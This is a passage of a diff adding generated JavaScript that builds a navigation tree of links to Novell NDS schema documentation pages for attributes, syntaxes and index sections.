+ var navElement = navigationLink("preferredLanguage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oon3t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Primary Notification Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Primary Resource Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4842.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Agent Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4866.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Manufacturer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4884.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Mechanism Types ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Model ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4896.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4902.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer to PA ID Mappings ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4908.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("PSM Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Advertising Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4986.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4992.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4998.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5004.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resolution ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5022.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5034.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5040.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5046.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgr Database Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5052.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgr Database Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5058.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("secretary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oon40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Sides Supported ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5184.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Attribute ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5190.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Cache Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5196.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP DA Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5202.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Directory Agent DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5208.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5214.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Lifetime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5220.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5226.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Unit DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5232.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Start Purge Hour ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5238.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5244.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP SU Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5250.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP SU Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5256.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5262.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP URL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5268.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS Protocol Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5274.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS Registered Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5280.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SU ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5292.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5340.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcType ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5346.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcTypeID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5352.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userSMIMECertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oorbh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("LDAP Operational Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a7lnqjy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("createTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3q.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("creatorsName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3f.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("entryFlags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxcp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("federationBoundary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fzxsm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("localEntryID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fzcam.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("modifiersName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3j.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("modifyTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3x.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("structuralObjectClass ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxcb.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("subordinateCount ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxci.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("subschemaSubentry ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxc4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Attribute Syntax Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h55cqjqs.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5533.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Boolean ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Exact String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5547.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Ignore List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5554.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Ignore String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5561.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5568.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Counter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5575.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Distinguished Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5589.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Facsimile Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5596.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Hold ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5603.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Integer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5610.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5617.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Numeric String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5631.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5638.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5645.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5652.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5659.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printable String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5673.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Pointer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5680.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Stream ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5687.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5694.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5701.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5708.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Typed Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5715.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A through B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C through D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L through M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P through R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx10.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx11.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx12.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx13.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx14.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx15.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx16.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("F through G ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx17.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("H ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx18.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("I through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx19.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx20.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx21.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx22.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx23.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx24.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Q ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx25.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx26.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx27.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx28.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("U ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx29.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("V through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx30.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of ASN.1 IDs ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx31.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("0 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx32.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("1 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("2 through 2.4 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx34.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("2.5 through 2.9 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx35.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
